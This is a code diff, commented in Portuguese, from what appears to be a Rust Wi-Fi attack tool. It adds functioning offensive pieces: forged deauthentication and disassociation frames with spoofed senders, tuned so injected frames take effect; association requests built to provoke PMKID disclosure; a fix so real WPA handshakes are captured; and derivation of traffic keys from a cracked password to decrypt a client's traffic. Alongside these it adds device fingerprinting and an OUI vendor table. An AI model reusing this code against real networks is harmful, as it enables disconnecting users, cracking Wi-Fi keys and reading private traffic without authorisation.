||||
{
|
||||
"impressora"
|
||||
} else if s.contains("chromecast")
|
||||
|| s.contains("appletv")
|
||||
|| s.contains("fire tv")
|
||||
|| s.contains("firetv")
|
||||
|| s.contains("roku")
|
||||
|| s.contains("smart tv")
|
||||
|| s.contains("bravia")
|
||||
|| s.contains("tv")
|
||||
{
|
||||
"TV/streaming"
|
||||
} else if s.contains("camera") || s.contains("câmera") || s.contains("ipc") {
|
||||
"câmera"
|
||||
} else if s.contains("watch") {
|
||||
"wearable"
|
||||
} else if s.contains("echo")
|
||||
|| s.contains("alexa")
|
||||
|| s.contains("google home")
|
||||
|| s.contains("nest")
|
||||
{
|
||||
"assistente"
|
||||
} else if s.contains("raspberry") {
|
||||
"SBC"
|
||||
} else if s.contains("esp32")
|
||||
|| s.contains("esp8266")
|
||||
|| s.contains("shelly")
|
||||
|| s.contains("sonoff")
|
||||
|| s.contains("tuya")
|
||||
{
|
||||
"IoT"
|
||||
} else if s.contains("desktop")
|
||||
|| s.contains("laptop")
|
||||
|| s.contains("windows")
|
||||
|| s.contains("pc")
|
||||
{
|
||||
"computador"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(device.to_string())
|
||||
}
|
||||
|
||||
fn device_from_service(service: &str) -> Option<String> {
|
||||
let s = service.to_ascii_lowercase();
|
||||
let device = if s.contains("_airplay")
|
||||
|| s.contains("_raop")
|
||||
|| s.contains("_googlecast")
|
||||
|| s.contains("_spotify-connect")
|
||||
{
|
||||
"TV/streaming"
|
||||
} else if s.contains("_ipp") || s.contains("_printer") || s.contains("_pdl-datastream") {
|
||||
"impressora"
|
||||
} else if s.contains("_smb") || s.contains("_workstation") || s.contains("_device-info") {
|
||||
"computador"
|
||||
} else if s.contains("_homekit") || s.contains("_hap") {
|
||||
"IoT"
|
||||
} else if s.contains("_ssh") || s.contains("_sftp-ssh") {
|
||||
"servidor"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(device.to_string())
|
||||
}
|
||||
|
||||
fn manufacturer_from_text(text: &str) -> Option<String> {
|
||||
let s = text.to_ascii_lowercase();
|
||||
let name = if s.contains("apple") {
|
||||
"Apple"
|
||||
} else if s.contains("samsung") {
|
||||
"Samsung"
|
||||
} else if s.contains("microsoft") || s.contains("windows") {
|
||||
"Microsoft"
|
||||
} else if s.contains("google") {
|
||||
"Google"
|
||||
} else if s.contains("sony") {
|
||||
"Sony"
|
||||
} else if s.contains("lg electronics") || s.starts_with("lg ") {
|
||||
"LG"
|
||||
} else if s.contains("roku") {
|
||||
"Roku"
|
||||
} else if s.contains("huawei") {
|
||||
"Huawei"
|
||||
} else if s.contains("xiaomi") {
|
||||
"Xiaomi"
|
||||
} else if s.contains("synology") {
|
||||
"Synology"
|
||||
} else if s.contains("raspberry") {
|
||||
"Raspberry Pi"
|
||||
} else {
|
||||
return None;
|
||||
};
|
||||
Some(name.to_string())
|
||||
}
|
||||
|
||||
/// Mantido para chamadores antigos: há um EAPOL neste quadro?
|
||||
@@ -441,6 +1096,47 @@ fn classify(rsn_present: bool, wpa1_present: bool, privacy: bool, rsn: RsnInfo)
|
||||
Security::Open
|
||||
}
|
||||
|
||||
fn add_phy(phy: &mut Vec<String>, value: &str) {
|
||||
if !phy.iter().any(|p| p == value) {
|
||||
phy.push(value.to_string());
|
||||
}
|
||||
}
|
||||
|
||||
/// Information Element de WPS (vendor 00:50:f2 tipo 4). O conteúdo começa
|
||||
/// com a versão do protocolo e segue em atributos TLV de 16 bits.
|
||||
fn parse_wps(val: &[u8], info: &mut ManagementInfo) {
|
||||
if val.len() < 6 {
|
||||
return;
|
||||
}
|
||||
let version = u16::from_be_bytes([val[4], val[5]]);
|
||||
info.wps_version = Some(match version {
|
||||
0x10 => "1.0".into(),
|
||||
0x11 => "2.0".into(),
|
||||
other => format!("0x{other:04x}"),
|
||||
});
|
||||
let mut pos = 6usize;
|
||||
while pos + 4 <= val.len() {
|
||||
let attr = u16::from_be_bytes([val[pos], val[pos + 1]]);
|
||||
let len = u16::from_be_bytes([val[pos + 2], val[pos + 3]]) as usize;
|
||||
let start = pos + 4;
|
||||
if start + len > val.len() {
|
||||
break;
|
||||
}
|
||||
let data = &val[start..start + len];
|
||||
let text = || String::from_utf8_lossy(data).trim().to_string();
|
||||
match attr {
|
||||
0x1011 => info.wps_device_name = Some(text()),
|
||||
0x1021 => info.wps_manufacturer = Some(text()),
|
||||
0x1023 => info.wps_model = Some(text()),
|
||||
0x1024 => info.wps_model_number = Some(text()),
|
||||
0x1042 => info.wps_serial = Some(text()),
|
||||
0x1057 if len == 1 => info.wps_locked = Some(data[0] != 0),
|
||||
_ => {}
|
||||
}
|
||||
pos = start + len;
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_rsn(val: &[u8]) -> Option<RsnInfo> {
|
||||
if val.len() < 8 {
|
||||
return None;
|
||||
@@ -665,6 +1361,116 @@ mod tests {
|
||||
assert!(parsed.eapol().is_none());
|
||||
}
|
||||
|
||||
fn data_with_ethertype(ethertype: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut f = Vec::new();
|
||||
f.extend_from_slice(&0x0108u16.to_le_bytes()); // data, ToDS
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&mac(0x11)); // addr1 = AP
|
||||
f.extend_from_slice(&mac(0x22)); // addr2 = cliente
|
||||
f.extend_from_slice(&mac(0x11)); // addr3 = AP
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&[0xAA, 0xAA, 0x03, 0, 0, 0]);
|
||||
f.extend_from_slice(ðertype.to_be_bytes());
|
||||
f.extend_from_slice(payload);
|
||||
f
|
||||
}
|
||||
|
||||
fn data_with_payload(payload: &[u8]) -> Vec<u8> {
|
||||
data_with_ethertype(0x0800, payload)
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_ip_from_arp() {
|
||||
let mut arp = Vec::new();
|
||||
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||
arp.extend_from_slice(&0x0800u16.to_be_bytes());
|
||||
arp.push(6);
|
||||
arp.push(4);
|
||||
arp.extend_from_slice(&1u16.to_be_bytes());
|
||||
arp.extend_from_slice(&mac(0x22));
|
||||
arp.extend_from_slice(&[192, 168, 1, 42]);
|
||||
arp.extend_from_slice(&[0u8; 6]);
|
||||
arp.extend_from_slice(&[192, 168, 1, 1]);
|
||||
let frame = data_with_ethertype(0x0806, &arp);
|
||||
let parsed = parse(&frame).expect("frame");
|
||||
assert_eq!(parsed.payload_info().ip.as_deref(), Some("192.168.1.42"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_hostname_and_os_from_mdns() {
|
||||
let mut dns = vec![0u8; 12];
|
||||
dns[5] = 1; // qdcount
|
||||
for label in ["Lucass-iPhone", "local"] {
|
||||
dns.push(label.len() as u8);
|
||||
dns.extend_from_slice(label.as_bytes());
|
||||
}
|
||||
dns.push(0);
|
||||
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||
dns.extend_from_slice(&1u16.to_be_bytes());
|
||||
|
||||
let mut udp = Vec::new();
|
||||
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||
udp.extend_from_slice(&5353u16.to_be_bytes());
|
||||
udp.extend_from_slice(&((8 + dns.len()) as u16).to_be_bytes());
|
||||
udp.extend_from_slice(&[0u8; 2]);
|
||||
udp.extend_from_slice(&dns);
|
||||
|
||||
let mut ip = vec![0x45, 0];
|
||||
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||
ip.extend_from_slice(&[0u8; 5]);
|
||||
ip.push(17);
|
||||
ip.extend_from_slice(&[0u8; 2]);
|
||||
ip.extend_from_slice(&[192, 168, 1, 7]);
|
||||
ip.extend_from_slice(&[224, 0, 0, 251]);
|
||||
ip.extend_from_slice(&udp);
|
||||
|
||||
let frame = data_with_payload(&ip);
|
||||
let parsed = parse(&frame).expect("frame");
|
||||
let info = parsed.payload_info();
|
||||
assert_eq!(info.hostname.as_deref(), Some("Lucass-iPhone"));
|
||||
assert_eq!(info.os.as_deref(), Some("iOS"));
|
||||
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||
assert_eq!(info.ip.as_deref(), Some("192.168.1.7"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_hostname_and_requested_ip_from_dhcp() {
|
||||
let mut bootp = vec![0u8; 240];
|
||||
bootp[0] = 1;
|
||||
bootp[236..240].copy_from_slice(&[0x63, 0x82, 0x53, 0x63]);
|
||||
bootp.extend_from_slice(&[53, 1, 3]);
|
||||
bootp.extend_from_slice(&[50, 4, 192, 168, 1, 50]);
|
||||
bootp.extend_from_slice(&[12, 7]);
|
||||
bootp.extend_from_slice(b"pixel-7");
|
||||
bootp.extend_from_slice(&[60, 15]);
|
||||
bootp.extend_from_slice(b"android-dhcp-13");
|
||||
bootp.push(255);
|
||||
|
||||
let mut udp = Vec::new();
|
||||
udp.extend_from_slice(&68u16.to_be_bytes());
|
||||
udp.extend_from_slice(&67u16.to_be_bytes());
|
||||
udp.extend_from_slice(&((8 + bootp.len()) as u16).to_be_bytes());
|
||||
udp.extend_from_slice(&[0u8; 2]);
|
||||
udp.extend_from_slice(&bootp);
|
||||
|
||||
let mut ip = vec![0x45, 0];
|
||||
ip.extend_from_slice(&((20 + udp.len()) as u16).to_be_bytes());
|
||||
ip.extend_from_slice(&[0u8; 5]);
|
||||
ip.push(17);
|
||||
ip.extend_from_slice(&[0u8; 2]);
|
||||
ip.extend_from_slice(&[0, 0, 0, 0]);
|
||||
ip.extend_from_slice(&[255, 255, 255, 255]);
|
||||
ip.extend_from_slice(&udp);
|
||||
|
||||
let frame = data_with_payload(&ip);
|
||||
let parsed = parse(&frame).expect("frame");
|
||||
let info = parsed.payload_info();
|
||||
assert_eq!(info.hostname.as_deref(), Some("pixel-7"));
|
||||
assert_eq!(info.os.as_deref(), Some("Android"));
|
||||
assert_eq!(info.device.as_deref(), Some("smartphone"));
|
||||
assert_eq!(info.ip.as_deref(), Some("192.168.1.50"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parses_mac_strings() {
|
||||
assert_eq!(
|
||||
|
||||
@@ -55,7 +55,14 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
||||
if descriptor_type != 2 && descriptor_type != 254 {
|
||||
return None;
|
||||
}
|
||||
let key_info = u16::from_le_bytes([frame[5], frame[6]]);
|
||||
// Todo campo multi-byte do descritor EAPOL-Key (Key Information, Key
|
||||
// Length, Replay Counter, Key Data Length) é big-endian — é 802.1X,
|
||||
// segue a mesma ordem de rede do cabeçalho EAPOL em si. Ler como
|
||||
// little-endian (bug anterior) embaralhava os bits de ack/mic/secure e
|
||||
// fazia praticamente todo handshake real cair em message=0, descartado
|
||||
// silenciosamente — só não aparecia nos testes porque o gerador de
|
||||
// quadro sintético cometia o mesmo engano, simetricamente.
|
||||
let key_info = u16::from_be_bytes([frame[5], frame[6]]);
|
||||
let key_version = (key_info & 0x0007) as u8;
|
||||
let pairwise = key_info & KEY_INFO_PAIRWISE != 0;
|
||||
let ack = key_info & KEY_INFO_ACK != 0;
|
||||
@@ -75,12 +82,12 @@ pub fn parse(buf: &[u8]) -> Option<EapolKey> {
|
||||
0
|
||||
};
|
||||
|
||||
let replay_counter = u64::from_le_bytes(frame[9..17].try_into().ok()?);
|
||||
let replay_counter = u64::from_be_bytes(frame[9..17].try_into().ok()?);
|
||||
let mut nonce = [0u8; 32];
|
||||
nonce.copy_from_slice(&frame[17..49]);
|
||||
let mut mic_bytes = [0u8; 16];
|
||||
mic_bytes.copy_from_slice(&frame[MIC_OFFSET..MIC_OFFSET + 16]);
|
||||
let key_data_len = u16::from_le_bytes([frame[97], frame[98]]) as usize;
|
||||
let key_data_len = u16::from_be_bytes([frame[97], frame[98]]) as usize;
|
||||
let data_end = KEY_DATA_OFFSET.checked_add(key_data_len)?;
|
||||
if data_end > frame.len() {
|
||||
return None;
|
||||
@@ -144,14 +151,14 @@ mod tests {
|
||||
f[1] = EAPOL_TYPE_KEY;
|
||||
f[2..4].copy_from_slice(&((total - 4) as u16).to_be_bytes());
|
||||
f[4] = 2; // RSN descriptor
|
||||
f[5..7].copy_from_slice(&key_info.to_le_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_le_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_le_bytes());
|
||||
f[5..7].copy_from_slice(&key_info.to_be_bytes());
|
||||
f[7..9].copy_from_slice(&16u16.to_be_bytes());
|
||||
f[9..17].copy_from_slice(&1u64.to_be_bytes());
|
||||
f[17..49].copy_from_slice(&nonce);
|
||||
for (i, b) in f[MIC_OFFSET..MIC_OFFSET + 16].iter_mut().enumerate() {
|
||||
*b = i as u8;
|
||||
}
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_le_bytes());
|
||||
f[97..99].copy_from_slice(&(key_data.len() as u16).to_be_bytes());
|
||||
f[KEY_DATA_OFFSET..].copy_from_slice(key_data);
|
||||
f
|
||||
}
|
||||
@@ -176,6 +183,32 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
/// Byte a byte, independente do helper `key_frame` (que usa a mesma
|
||||
/// codificação do parser): confere que um quadro Mensagem 1 real — key
|
||||
/// info 0x008a (Ack=1, versão CCMP=2, pairwise), big-endian como é no
|
||||
/// fio de verdade — é lido como message=1/key_version=2, não message=0.
|
||||
/// É exatamente o valor citado pela documentação de ferramentas de
|
||||
/// quebra de WPA pra mensagem 1 com CCMP.
|
||||
#[test]
|
||||
fn parses_real_wire_message1_key_info_as_big_endian() {
|
||||
let mut frame = vec![0u8; MIN_KEY_FRAME_LEN];
|
||||
frame[0] = 2; // versão EAPOL
|
||||
frame[1] = EAPOL_TYPE_KEY;
|
||||
frame[2..4].copy_from_slice(&((MIN_KEY_FRAME_LEN - 4) as u16).to_be_bytes());
|
||||
frame[4] = 2; // descritor RSN
|
||||
frame[5..7].copy_from_slice(&0x008au16.to_be_bytes()); // Ack=1, versão=2(CCMP), pairwise=1
|
||||
frame[7..9].copy_from_slice(&16u16.to_be_bytes()); // key length
|
||||
frame[9..17].copy_from_slice(&1u64.to_be_bytes()); // replay counter
|
||||
frame[17..49].fill(0xaa); // nonce
|
||||
frame[97..99].copy_from_slice(&0u16.to_be_bytes()); // sem key data
|
||||
|
||||
let parsed = parse(&frame).expect("mensagem 1 real deveria parsear");
|
||||
assert_eq!(parsed.message, 1);
|
||||
assert_eq!(parsed.key_version, 2);
|
||||
assert!(parsed.pairwise);
|
||||
assert_eq!(parsed.replay_counter, 1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn extracts_pmkid_from_key_data() {
|
||||
let mut data = vec![0xdd, 20, 0x00, 0x0f, 0xac, 0x04];
|
||||
|
||||
@@ -33,6 +33,12 @@ pub struct Handshake {
|
||||
pub first_seen_unix: u64,
|
||||
pub last_seen_unix: u64,
|
||||
pub password: Option<String>,
|
||||
/// Temporal Key (CCMP/AES) derivada quando `password` é preenchido.
|
||||
/// Só pra TKIP (key_version 1) fica None: a decriptação aqui só cobre
|
||||
/// CCMP. Serve pra enxergar o tráfego em claro desse par (BSSID,
|
||||
/// estação) específico — não abre o tráfego de outros clientes, já que
|
||||
/// a PTK é efêmera por associação.
|
||||
pub tk: Option<[u8; 16]>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, serde::Serialize)]
|
||||
@@ -244,9 +250,17 @@ impl HandshakeTracker {
|
||||
pub fn set_password(&mut self, bssid: &str, station: &str, password: &str) {
|
||||
if let Some(hs) = self.get_mut(bssid, station) {
|
||||
hs.password = Some(password.to_string());
|
||||
hs.tk = derive_tk(hs, password);
|
||||
}
|
||||
}
|
||||
|
||||
/// TK já derivada pra esse par (BSSID, estação), se a senha da rede já
|
||||
/// foi quebrada e o handshake tinha os dois nonces (EAPOL completo — um
|
||||
/// handshake só de PMKID não dá pra derivar PTK/TK, só confirma a PSK).
|
||||
pub fn tk_for(&self, bssid: &str, station: &str) -> Option<[u8; 16]> {
|
||||
self.get(bssid, station).and_then(|hs| hs.tk)
|
||||
}
|
||||
|
||||
pub fn len(&self) -> usize {
|
||||
self.map.len()
|
||||
}
|
||||
@@ -256,6 +270,26 @@ impl HandshakeTracker {
|
||||
}
|
||||
}
|
||||
|
||||
/// Deriva a TK (bytes 32..48 da PTK) a partir da senha quebrada, pra poder
|
||||
/// decifrar CCMP do tráfego desse cliente. Só funciona com EAPOL/CCMP
|
||||
/// completo (key_version 2); PMKID sozinho não tem os dois nonces pra
|
||||
/// derivar PTK, e TKIP (key_version 1) usa RC4 + Michael, não implementado.
|
||||
fn derive_tk(hs: &Handshake, password: &str) -> Option<[u8; 16]> {
|
||||
if hs.key_version != 2 {
|
||||
return None;
|
||||
}
|
||||
let ssid = hs.ssid.as_deref().filter(|s| !s.is_empty())?;
|
||||
let bssid = dot11::parse_mac(&hs.bssid)?;
|
||||
let station = dot11::parse_mac(&hs.station)?;
|
||||
let anonce = hs.anonce?;
|
||||
let snonce = hs.snonce?;
|
||||
let pmk = crate::crack::pmk_from_candidate(password, ssid.as_bytes())?;
|
||||
let ptk = crate::crack::compute_ptk(&pmk, &bssid, &station, &anonce, &snonce);
|
||||
let mut tk = [0u8; 16];
|
||||
tk.copy_from_slice(&ptk[32..48]);
|
||||
Some(tk)
|
||||
}
|
||||
|
||||
fn apply_key(hs: &mut Handshake, key: &EapolKey) {
|
||||
match key.message {
|
||||
1 => {
|
||||
|
||||
@@ -17,13 +17,26 @@ fn radiotap_min() -> [u8; 8] {
|
||||
}
|
||||
|
||||
fn mgmt_frame(subtype: u8, bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||
mgmt_frame_from(subtype, bssid, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Quadro de gerenciamento com transmissor explícito. Permite forjar tanto
|
||||
/// AP→STA (`transmitter = BSSID`) quanto STA→AP (`transmitter = estação`),
|
||||
/// usado no teste bidirecional de PMF.
|
||||
fn mgmt_frame_from(
|
||||
subtype: u8,
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
let fc: u16 = (subtype as u16) << 4;
|
||||
let mut f = Vec::with_capacity(8 + 24 + 2);
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&fc.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&destination); // addr1: destino
|
||||
f.extend_from_slice(&bssid); // addr2: BSSID/transmissor
|
||||
f.extend_from_slice(&transmitter); // addr2: transmissor
|
||||
f.extend_from_slice(&bssid); // addr3: BSSID
|
||||
f.extend_from_slice(&[0u8; 2]); // número de sequência
|
||||
f.extend_from_slice(&reason.to_le_bytes());
|
||||
@@ -36,11 +49,129 @@ pub fn deauth_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8
|
||||
mgmt_frame(12, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Desautenticação forjada com transmissor arbitrário (STA→AP).
|
||||
pub fn deauth_frame_from(
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
mgmt_frame_from(12, transmitter, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Desassociação forjada com transmissor arbitrário (STA→AP).
|
||||
pub fn disassoc_frame_from(
|
||||
transmitter: [u8; 6],
|
||||
bssid: [u8; 6],
|
||||
destination: [u8; 6],
|
||||
reason: u16,
|
||||
) -> Vec<u8> {
|
||||
mgmt_frame_from(10, transmitter, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Quadro de desassociação (subtipo 10).
|
||||
pub fn disassoc_frame(bssid: [u8; 6], destination: [u8; 6], reason: u16) -> Vec<u8> {
|
||||
mgmt_frame(10, bssid, destination, reason)
|
||||
}
|
||||
|
||||
/// Offset do campo "Sequence Control" dentro de um quadro de gerenciamento
|
||||
/// construído por [`mgmt_frame_from`] (8 de radiotap + 22 até o campo).
|
||||
const SEQ_CTRL_OFFSET: usize = 30;
|
||||
|
||||
/// Grava um número de sequência (0–4095) no quadro, deixando o número de
|
||||
/// fragmento (4 bits baixos) zerado. Sem isso, todo quadro injetado sai com
|
||||
/// sequência 0 e o driver do alvo descarta as repetições como duplicata,
|
||||
/// fazendo a desautenticação não ter efeito nenhum apesar de "enviada".
|
||||
pub fn set_seq(frame: &mut [u8], seq: u16) {
|
||||
if frame.len() < SEQ_CTRL_OFFSET + 2 {
|
||||
return;
|
||||
}
|
||||
let field = (seq & 0x0fff) << 4;
|
||||
frame[SEQ_CTRL_OFFSET] = (field & 0xff) as u8;
|
||||
frame[SEQ_CTRL_OFFSET + 1] = (field >> 8) as u8;
|
||||
}
|
||||
|
||||
fn ie(tag: u8, value: &[u8]) -> Vec<u8> {
|
||||
let mut out = Vec::with_capacity(2 + value.len());
|
||||
out.push(tag);
|
||||
out.push(value.len() as u8);
|
||||
out.extend_from_slice(value);
|
||||
out
|
||||
}
|
||||
|
||||
/// Autenticação aberta (algoritmo 0, sequência 1). Usada antes do association
|
||||
/// request no teste de PMKID.
|
||||
pub fn auth_frame(bssid: [u8; 6], station: [u8; 6]) -> Vec<u8> {
|
||||
let mut f = Vec::with_capacity(8 + 24 + 6);
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&0x00b0u16.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&station);
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&0u16.to_le_bytes()); // algoritmo aberto
|
||||
f.extend_from_slice(&1u16.to_le_bytes()); // sequência
|
||||
f.extend_from_slice(&0u16.to_le_bytes()); // status
|
||||
f
|
||||
}
|
||||
|
||||
fn rsn_ie(akms: &[u8], pmf: bool, pmf_required: bool, pmkid: &[u8; 16]) -> Vec<u8> {
|
||||
let mut val = Vec::new();
|
||||
val.extend_from_slice(&1u16.to_le_bytes());
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // grupo CCMP
|
||||
val.extend_from_slice(&1u16.to_le_bytes());
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, 4]); // pairwise CCMP
|
||||
val.extend_from_slice(&(akms.len() as u16).to_le_bytes());
|
||||
for akm in akms {
|
||||
val.extend_from_slice(&[0x00, 0x0f, 0xac, *akm]);
|
||||
}
|
||||
let mut caps = 0u16;
|
||||
if pmf {
|
||||
caps |= 0x0080;
|
||||
}
|
||||
if pmf_required {
|
||||
caps |= 0x0040;
|
||||
}
|
||||
val.extend_from_slice(&caps.to_le_bytes());
|
||||
val.extend_from_slice(&1u16.to_le_bytes()); // PMKID count
|
||||
val.extend_from_slice(pmkid);
|
||||
ie(48, &val)
|
||||
}
|
||||
|
||||
/// Association request com RSN/PMKID. O AP pode responder com a mensagem 1
|
||||
/// do 4-way handshake contendo o PMKID — é isso que o teste tenta provocar.
|
||||
pub fn assoc_request_frame(
|
||||
bssid: [u8; 6],
|
||||
station: [u8; 6],
|
||||
ssid: &str,
|
||||
akms: &[u8],
|
||||
pmf: bool,
|
||||
pmf_required: bool,
|
||||
pmkid: [u8; 16],
|
||||
) -> Vec<u8> {
|
||||
let mut body = Vec::new();
|
||||
body.extend_from_slice(&0x0431u16.to_le_bytes()); // ESS + short slot
|
||||
body.extend_from_slice(&10u16.to_le_bytes()); // listen interval
|
||||
body.extend_from_slice(&ie(0, ssid.as_bytes()));
|
||||
body.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96]));
|
||||
body.extend_from_slice(&ie(50, &[0x0c, 0x12, 0x18, 0x24, 0x30, 0x36]));
|
||||
if !akms.is_empty() {
|
||||
body.extend_from_slice(&rsn_ie(akms, pmf, pmf_required, &pmkid));
|
||||
}
|
||||
|
||||
let mut f = Vec::with_capacity(8 + 24 + body.len());
|
||||
f.extend_from_slice(&radiotap_min());
|
||||
f.extend_from_slice(&0x0000u16.to_le_bytes());
|
||||
f.extend_from_slice(&0u16.to_le_bytes());
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&station);
|
||||
f.extend_from_slice(&bssid);
|
||||
f.extend_from_slice(&[0u8; 2]);
|
||||
f.extend_from_slice(&body);
|
||||
f
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Reason {
|
||||
Unspecified = 1,
|
||||
@@ -160,4 +291,15 @@ mod tests {
|
||||
assert_eq!(&f[12..18], &BROADCAST);
|
||||
assert_eq!(f.len(), 8 + 24 + 2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn set_seq_writes_sequence_number_without_touching_fragment_bits() {
|
||||
let mut f = deauth_frame(bssid(), station(), 7);
|
||||
set_seq(&mut f, 1);
|
||||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||
assert_eq!(seq_ctrl, 1 << 4);
|
||||
set_seq(&mut f, 0x0fff);
|
||||
let seq_ctrl = u16::from_le_bytes([f[SEQ_CTRL_OFFSET], f[SEQ_CTRL_OFFSET + 1]]);
|
||||
assert_eq!(seq_ctrl, 0x0fff << 4);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,919 @@
|
||||
//! Identificação de fabricante pelo prefixo OUI do MAC.
|
||||
|
||||
const OUIS: &[(&str, &str)] = &[
|
||||
("00000c", "Cisco"),
|
||||
("000142", "Cisco"),
|
||||
("000163", "Cisco"),
|
||||
("000164", "Cisco"),
|
||||
("00016c", "Cisco"),
|
||||
("0001c7", "Cisco"),
|
||||
("0001e6", "Cisco"),
|
||||
("000216", "Cisco"),
|
||||
("0002b9", "Cisco"),
|
||||
("0002fc", "Cisco"),
|
||||
("000331", "Cisco"),
|
||||
("00036b", "Cisco"),
|
||||
("0003e3", "Cisco"),
|
||||
("0003fd", "Cisco"),
|
||||
("000427", "Cisco"),
|
||||
("00044d", "Cisco"),
|
||||
("0004c0", "Cisco"),
|
||||
("0004dd", "Cisco"),
|
||||
("000531", "Cisco"),
|
||||
("00055d", "D-Link"),
|
||||
("000569", "VMware"),
|
||||
("0005dc", "Cisco"),
|
||||
("0005dd", "Cisco"),
|
||||
("0006c1", "Cisco"),
|
||||
("0007eb", "Cisco"),
|
||||
("0007ec", "Cisco"),
|
||||
("0009b7", "Cisco"),
|
||||
("000a41", "Cisco"),
|
||||
("000aeb", "TP-Link"),
|
||||
("000b86", "Aruba"),
|
||||
("000c29", "VMware"),
|
||||
("000c42", "MikroTik"),
|
||||
("000c6e", "Asus"),
|
||||
("000d28", "Cisco"),
|
||||
("000d88", "D-Link"),
|
||||
("000e38", "Cisco"),
|
||||
("000ea6", "Asus"),
|
||||
("000f23", "Cisco"),
|
||||
("000f3d", "D-Link"),
|
||||
("000fb5", "Netgear"),
|
||||
("0010a6", "Cisco"),
|
||||
("001120", "Cisco"),
|
||||
("00112f", "Asus"),
|
||||
("001195", "D-Link"),
|
||||
("001217", "Cisco"),
|
||||
("0012fb", "Samsung"),
|
||||
("001346", "D-Link"),
|
||||
("001392", "Ruckus"),
|
||||
("0013d4", "Asus"),
|
||||
("00146c", "Netgear"),
|
||||
("001478", "TP-Link"),
|
||||
("00156d", "Ubiquiti"),
|
||||
("001599", "Samsung"),
|
||||
("0015e9", "D-Link"),
|
||||
("0015f2", "Asus"),
|
||||
("001632", "Samsung"),
|
||||
("00170f", "Cisco"),
|
||||
("001731", "Asus"),
|
||||
("00179a", "D-Link"),
|
||||
("00180a", "Meraki"),
|
||||
("00184d", "Netgear"),
|
||||
("001882", "Huawei"),
|
||||
("0018f3", "Asus"),
|
||||
("00195b", "D-Link"),
|
||||
("001a11", "Google"),
|
||||
("001a1e", "Aruba"),
|
||||
("001a2b", "Cisco"),
|
||||
("001a8a", "Samsung"),
|
||||
("001a92", "Asus"),
|
||||
("001b11", "Cisco"),
|
||||
("001b2f", "Netgear"),
|
||||
("001b63", "Apple"),
|
||||
("001bfc", "Asus"),
|
||||
("001c42", "Parallels"),
|
||||
("001cf0", "D-Link"),
|
||||
("001d0f", "TP-Link"),
|
||||
("001d25", "Samsung"),
|
||||
("001d60", "Asus"),
|
||||
("001e10", "Huawei"),
|
||||
("001e2a", "Netgear"),
|
||||
("001e58", "D-Link"),
|
||||
("001e7d", "Samsung"),
|
||||
("001e8c", "Asus"),
|
||||
("001ec2", "Apple"),
|
||||
("001f6c", "Cisco"),
|
||||
("001fc6", "Asus"),
|
||||
("002119", "Samsung"),
|
||||
("002127", "TP-Link"),
|
||||
("0021e9", "Apple"),
|
||||
("002215", "Asus"),
|
||||
("00223f", "Netgear"),
|
||||
("00227f", "Ruckus"),
|
||||
("002290", "Cisco"),
|
||||
("0022b0", "D-Link"),
|
||||
("002312", "Apple"),
|
||||
("002339", "Samsung"),
|
||||
("002454", "Samsung"),
|
||||
("002486", "Asus"),
|
||||
("0024a3", "Apple"),
|
||||
("0024b2", "Netgear"),
|
||||
("0024dc", "Apple"),
|
||||
("002500", "Apple"),
|
||||
("002586", "TP-Link"),
|
||||
("00259e", "Huawei"),
|
||||
("0025c4", "Ruckus"),
|
||||
("002618", "Asus"),
|
||||
("002637", "Samsung"),
|
||||
("0026bb", "Apple"),
|
||||
("0026f2", "Netgear"),
|
||||
("002719", "TP-Link"),
|
||||
("002722", "Ubiquiti"),
|
||||
("0027a0", "Apple"),
|
||||
("003e51", "Apple"),
|
||||
